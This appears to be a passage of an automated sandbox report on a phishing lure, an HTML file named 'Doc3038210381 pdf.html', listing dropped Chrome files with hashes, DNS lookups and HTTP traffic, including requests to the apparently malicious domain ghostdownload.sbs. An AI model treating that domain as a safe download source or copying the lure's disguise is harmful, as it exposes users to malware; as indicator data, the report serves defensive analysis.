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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 80

Entropy (8bit): 3.4921535629071894

Encrypted: false

SSDEEP: 3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl

MD5: 69449520FD9C139C534E2970342C6BD8

SHA1: 230FE369A09DEF748F8CC23AD70FD19ED8D1B885

SHA-256: 3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277

SHA-512: EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E63
67

Malicious: false

Reputation: unknown

Preview:
*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 418

Entropy (8bit): 5.213836788956654

Encrypted: false

SSDEEP: 12:MiAXOvYf5KkMFUtuiA0L/0iAL5Jf5KkTJ:MX8Yf5KkUguXzXdJf5Kkl

MD5: 4F119E8F0B1B76E4FDF2ED1232469FED

SHA1: 2A91BE23959221B8A0CAA8C94177D68FAA8F6696

SHA-256: C620A1849A2E2691A0703700FEFFF4ABD26922587C6BE16C07ECA5A328E1679D

SHA-512: AF4B7C273B8728C2D9FE100085E11F20AB2C954D0FCF23A9797E78CF384619135D01B49ADD191CE443385E549567289D1AADCA526FB1FCE0735392E1097EE7CC

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:32.307 19e8 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Session Storage/MANIFEST-000001.2022/01/13-22:05:32.308 19e8 Recovering log #3.2022/01/13-22:05:32.309 19e8 Reusing old log C:\Users\user\AppData
\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\LOG.olde/ (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 418

Entropy (8bit): 5.213836788956654

Encrypted: false

SSDEEP: 12:MiAXOvYf5KkMFUtuiA0L/0iAL5Jf5KkTJ:MX8Yf5KkUguXzXdJf5Kkl

MD5: 4F119E8F0B1B76E4FDF2ED1232469FED

SHA1: 2A91BE23959221B8A0CAA8C94177D68FAA8F6696

SHA-256: C620A1849A2E2691A0703700FEFFF4ABD26922587C6BE16C07ECA5A328E1679D

SHA-512: AF4B7C273B8728C2D9FE100085E11F20AB2C954D0FCF23A9797E78CF384619135D01B49ADD191CE443385E549567289D1AADCA526FB1FCE0735392E1097EE7CC

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:32.307 19e8 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Session Storage/MANIFEST-000001.2022/01/13-22:05:32.308 19e8 Recovering log #3.2022/01/13-22:05:32.309 19e8 Reusing old log C:\Users\user\AppData
\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\fb6d0539-2a4e-4cb9-8c83-2dd3871
fc40b.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.971623449303805

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5p7DHJShsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHfHYhsBdLJlyH7E4f3K33y

MD5: 8CA9278965B437DFC789E755E4C61B82

SHA1: 5776B6C90CA1D2DDC765ED673B5E6DC8E167F0D6

SHA-256: A57D9231244C1FBDE58A1BF50CAD3A1E3EA28D042BFA272782B65139446E7C51
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SHA-512: 3065FE0743AD88E02F8C8FF6CF03B832B616DD08061EAE25A5106422228D45EB999EE2CBE4E9C96D5FFC108CB817766240E27BF97E3E5C2A58081D369E2968F8

Malicious: false

Reputation: unknown

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\fb6d0539-2a4e-4cb9-8c83-2dd3871
fc40b.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\31dd4a6b-0d8b-4d96-8d7f-
05480e244cca.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: modified

Size (bytes): 325

Entropy (8bit): 4.9616384877719995

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5pirhsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHirhsBdLJlyH7E4f3K33y

MD5: B0429187E1BE99DE4D548DC5B2EDEA0A

SHA1: B3E07BEE5D753BF1B613BD2DE665C7C21E8184F6

SHA-256: D8DABBF936DAB4F17437ECA255020EA847D76D6B789F9486010C95E995CFED03

SHA-512: 233F7BDAA848A295E9F58CA52761829FE1044DA1DE1FBCAC407FADC8C7ABA1E4FFD7CA7A4FBE649E83FD1815DC2E3619ACB2A22CE5B2C7241E474CDB9AF2
F7ED

Malicious: false

Reputation: unknown

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516523181804","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D
58

Malicious: false

Reputation: unknown

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 430

Entropy (8bit): 5.1725434083403234

Encrypted: false

SSDEEP: 12:Mi0ovYf5KkkGHArBFUtuisL/0ij5Jf5KkkGHAryJ:McYf5KkkGgPguWIJf5KkkGga

MD5: 8F3B27E700B7AE8E2F4DBD08FCF08A33

SHA1: C2E275F4AD0B84DB3F02510075A5B11B9B1697B8

SHA-256: D328A1C232A4268FC539D84462821C5ED77B7BAD2477AAFFFC9A5C813E23397C

SHA-512: 96249C4EFCF210E36203C206A49C8DE89EB50B4620EAA0DDE27C384674EF5439D449CA35A63F69CEA10632A6A1754A5F43419883D982FACECCB1FECDEC6460D
E

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:59.513 19e8 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Local Storage\leveldb/MANIFEST-000001.2022/01/13-22:05:59.520 19e8 Recovering log #3.2022/01/13-22:05:59.521 19e8 Reusing old log C:\Users\user\A
ppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/000003.log .
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\LOG.old (
copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 430

Entropy (8bit): 5.1725434083403234

Encrypted: false

SSDEEP: 12:Mi0ovYf5KkkGHArBFUtuisL/0ij5Jf5KkkGHAryJ:McYf5KkkGgPguWIJf5KkkGga

MD5: 8F3B27E700B7AE8E2F4DBD08FCF08A33

SHA1: C2E275F4AD0B84DB3F02510075A5B11B9B1697B8

SHA-256: D328A1C232A4268FC539D84462821C5ED77B7BAD2477AAFFFC9A5C813E23397C

SHA-512: 96249C4EFCF210E36203C206A49C8DE89EB50B4620EAA0DDE27C384674EF5439D449CA35A63F69CEA10632A6A1754A5F43419883D982FACECCB1FECDEC6460D
E

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:59.513 19e8 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Local Storage\leveldb/MANIFEST-000001.2022/01/13-22:05:59.520 19e8 Recovering log #3.2022/01/13-22:05:59.521 19e8 Reusing old log C:\Users\user\A
ppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent StateMP (cop
y)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.9616384877719995

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5pirhsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHirhsBdLJlyH7E4f3K33y

MD5: B0429187E1BE99DE4D548DC5B2EDEA0A

SHA1: B3E07BEE5D753BF1B613BD2DE665C7C21E8184F6

SHA-256: D8DABBF936DAB4F17437ECA255020EA847D76D6B789F9486010C95E995CFED03

SHA-512: 233F7BDAA848A295E9F58CA52761829FE1044DA1DE1FBCAC407FADC8C7ABA1E4FFD7CA7A4FBE649E83FD1815DC2E3619ACB2A22CE5B2C7241E474CDB9AF2
F7ED

Malicious: false

Reputation: unknown

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516523181804","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 432

Entropy (8bit): 5.194823265059032

Encrypted: false

SSDEEP: 12:Mi1+vYf5KkkGHArqiuFUtuiZSKW/0izV5Jf5KkkGHArq2J:MLYf5KkkGgCgu+VqJf5KkkGg7

MD5: FF733836E09D21B25D266D723EC127E8

SHA1: 64FF718FD054A09C59557693C39B09D56039E335

SHA-256: 2D46FE6053B0E54DB24BC640CD2D0B16355CDC9FB811AFD639722D235F5E53E3

SHA-512: 77D412B6BDFCBC8734F051DFBADD0DA04A4ECFCB691E907643FF8A47D86AEED2CCFFA561F5159BEFBCD93B27DAB84EF00E61F2CEAF24E1B41C200BE3837E
1EB3

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:59.530 1b3c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Platform Notifications/MANIFEST-000001.2022/01/13-22:05:59.531 1b3c Recovering log #3.2022/01/13-22:05:59.532 1b3c Reusing old log C:\Users\user\
AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications\LOG.old 
(copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 432

Entropy (8bit): 5.194823265059032

Encrypted: false
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Static File Info

General
File type: HTML document, ASCII text

Entropy (8bit): 5.091627610942333

TrID: HyperText Markup Language (12001/1) 20.69%
HyperText Markup Language (12001/1) 20.69%
HyperText Markup Language (11501/1) 19.83%
HyperText Markup Language (11501/1) 19.83%
HyperText Markup Language (11001/1) 18.97%

File name: Doc3038210381 pdf.html

File size: 371

MD5: 4c6dceb0066e0149059dc44660c60e5c

SSDEEP: 12:Mi1+vYf5KkkGHArqiuFUtuiZSKW/0izV5Jf5KkkGHArq2J:MLYf5KkkGgCgu+VqJf5KkkGg7

MD5: FF733836E09D21B25D266D723EC127E8

SHA1: 64FF718FD054A09C59557693C39B09D56039E335

SHA-256: 2D46FE6053B0E54DB24BC640CD2D0B16355CDC9FB811AFD639722D235F5E53E3

SHA-512: 77D412B6BDFCBC8734F051DFBADD0DA04A4ECFCB691E907643FF8A47D86AEED2CCFFA561F5159BEFBCD93B27DAB84EF00E61F2CEAF24E1B41C200BE3837E
1EB3

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:59.530 1b3c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Platform Notifications/MANIFEST-000001.2022/01/13-22:05:59.531 1b3c Recovering log #3.2022/01/13-22:05:59.532 1b3c Reusing old log C:\Users\user\
AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications\LOG.old 
(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 80

Entropy (8bit): 3.4921535629071894

Encrypted: false

SSDEEP: 3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl

MD5: 69449520FD9C139C534E2970342C6BD8

SHA1: 230FE369A09DEF748F8CC23AD70FD19ED8D1B885

SHA-256: 3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277

SHA-512: EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E63
67

Malicious: false

Reputation: unknown

Preview:
*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 418

Entropy (8bit): 5.154361575497092

Encrypted: false

SSDEEP: 12:Mi0LBIvYf5KkkGHArAFUtuiY/0ilF5Jf5KkkGHArfJ:MJLoYf5KkkGgkgukoJf5KkkGgV

MD5: B572FB295603A9F3DB3E1EF77432095E

SHA1: E97FF426C27D467A0679D3C867E3613A41622E32

SHA-256: 0DAAB49D820CF3E831650709448BECED2DA1662700F32A1FBFB3CF83F4208376

SHA-512: B310E6E9D75FC8723BDFAA434510DFDFC2CAC611B487F97D74C804E5310097D6AF27161110C3E10C5CAE76D36C615832BFA26F47637A947F91EBE5238EDEED9
8

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:06:16.093 1a04 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Session Storage/MANIFEST-000001.2022/01/13-22:06:16.095 1a04 Recovering log #3.2022/01/13-22:06:16.096 1a04 Reusing old log C:\Users\user\AppData
\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/000003.log .
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SHA1: c3e61fdf3a82e16fb42436fb6cd4e3943c6ca6a4

SHA256: c50383f477fba603fa5cd029a2e594086c37253cbf2e54b
be1b9611822582aaf

SHA512: 4ff501a9296c284d63be69f459d38680e224d0515f62e21
3fbf63126a76bc436b4ad8dd11ccdb26b54d81423cb1609
142a630c7923046c42e9682b961373fff9

SSDEEP: 6:q9hqIziY03RfAbpli7vkGavAEdxRmmHTFlmQrIRL3Bu
Hwd4HX4Qb:rOy7TR4xRxHTrqRL3BuK4IQb

File Content Preview: <html lang="en">.<head>.    <meta charset="UTF-8">.  
<meta http-equiv="X-UA-Compatible" content="IE=edge
">.    <meta name="viewport" content="width=device-wi
dth, initial-scale=1.0">.    <title>Doc3038210381</title>.
</head>.<body>.    <script>.        wi

General

Network Port Distribution

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 13, 2022 22:05:18.138091087 CET 192.168.2.4 8.8.8.8 0xfc09 Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001)

Jan 13, 2022 22:05:18.140255928 CET 192.168.2.4 8.8.8.8 0xe283 Standard query 
(0)

ghostdownl
oad.sbs

A (IP address) IN (0x0001)

Jan 13, 2022 22:05:18.143709898 CET 192.168.2.4 8.8.8.8 0xed4f Standard query 
(0)

clients2.g
oogle.com

A (IP address) IN (0x0001)

Jan 13, 2022 22:05:21.832715988 CET 192.168.2.4 8.8.8.8 0x57c9 Standard query 
(0)

ghostdownl
oad.sbs

A (IP address) IN (0x0001)

Jan 13, 2022 22:05:25.166997910 CET 192.168.2.4 8.8.8.8 0x9766 Standard query 
(0)

clients2.g
oogleuserc
ontent.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 13, 2022 
22:05:18.166357040 
CET

8.8.8.8 192.168.2.4 0xfc09 No error (0) accounts.g
oogle.com

142.250.185.109 A (IP address) IN (0x0001)

Jan 13, 2022 
22:05:18.166846037 
CET

8.8.8.8 192.168.2.4 0xe283 No error (0) ghostdownl
oad.sbs

172.67.167.234 A (IP address) IN (0x0001)

Jan 13, 2022 
22:05:18.166846037 
CET

8.8.8.8 192.168.2.4 0xe283 No error (0) ghostdownl
oad.sbs

104.21.13.92 A (IP address) IN (0x0001)

Jan 13, 2022 
22:05:18.169919968 
CET

8.8.8.8 192.168.2.4 0xed4f No error (0) clients2.g
oogle.com

clients.l.google.com CNAME 
(Canonical 
name)

IN (0x0001)

Jan 13, 2022 
22:05:18.169919968 
CET

8.8.8.8 192.168.2.4 0xed4f No error (0) clients.l.
google.com

142.250.186.78 A (IP address) IN (0x0001)

Jan 13, 2022 
22:05:21.860364914 
CET

8.8.8.8 192.168.2.4 0x57c9 No error (0) ghostdownl
oad.sbs

104.21.13.92 A (IP address) IN (0x0001)

Jan 13, 2022 
22:05:21.860364914 
CET

8.8.8.8 192.168.2.4 0x57c9 No error (0) ghostdownl
oad.sbs

172.67.167.234 A (IP address) IN (0x0001)

Jan 13, 2022 
22:05:25.192954063 
CET

8.8.8.8 192.168.2.4 0x9766 No error (0) clients2.g
oogleuserc
ontent.com

googlehosted.l.googleuse
rcontent.com

CNAME 
(Canonical 
name)

IN (0x0001)

TCP Packets

UDP Packets

DNS Queries

DNS Answers
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Jan 13, 2022 
22:05:25.192954063 
CET

8.8.8.8 192.168.2.4 0x9766 No error (0) googlehost
ed.l.googl
euserconte
nt.com

142.250.186.65 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
clients2.google.com

            
ghostdownload.sbs

            
accounts.google.com

            
https:

            
clients2.googleusercontent.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.4 49768 142.250.186.78 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2022-01-13 21:05:18 UTC 0 OUT GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=85.0.4183.121&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
bcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com
Connection: keep-alive
X-Goog-Update-Interactivity: fg
X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-85.0.4183.121
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-01-13 21:05:18 UTC 1 IN HTTP/1.1 200 OK
Content-Security-Policy: script-src 'report-sample' 'nonce-zID/g11aqi+wXo8wiQzONA' 'unsafe-inline' 'strict-dynamic' https: 
http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 13 Jan 2022 21:05:18 GMT
Content-Type: text/xml; charset=UTF-8
X-Daynum: 5491
X-Daystart: 47118
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-01-13 21:05:18 UTC 2 IN Data Raw: 35 31 66 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 
54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 
72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 34 39 31 
22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 34 37 31 31 38 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 
6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 
3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 
Data Ascii: 51f<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5491" elapsed_seconds="47118"/><app appid="nmmhkkegccagdld
giimedpiccmgmieda" cohort="1::" cohortname=""

HTTP Request Dependency Graph

HTTPS Proxied Packets
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2022-01-13 21:05:18 UTC 3 IN Data Raw: 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 
20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 
37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 
73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 
31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 
65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 
73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 
Data Ascii: mmhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5
450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" 
protected="0" size="248531" status="ok" version="1.0.0.6"/></app><a

2022-01-13 21:05:18 UTC 4 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.4 49770 172.67.167.234 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2022-01-13 21:05:18 UTC 0 OUT GET /file-7564c3328869m00865113607754b653 HTTP/1.1
Host: ghostdownload.sbs
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-01-13 21:05:18 UTC 5 IN HTTP/1.1 301 Moved Permanently
Date: Thu, 13 Jan 2022 21:05:18 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
location: https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/
x-turbo-charged-by: LiteSpeed
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AklhDnzVTHiiCeCnShLS83%2BiJAZoQn
agCpI4nLjY%2BjRRXsBeOShotjWQ292NiuCejMKj%2F72t4tpkjvyg9c%2Bava9Xg%2FLUmnTieZXEbxSrdDTFKze4
p50M2dBBbQ42lhY8oWAnaw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6cd194faf8e8408a-LHR
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

2022-01-13 21:05:18 UTC 6 IN Data Raw: 32 63 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 
69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 
22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 
73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 
31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 
64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 
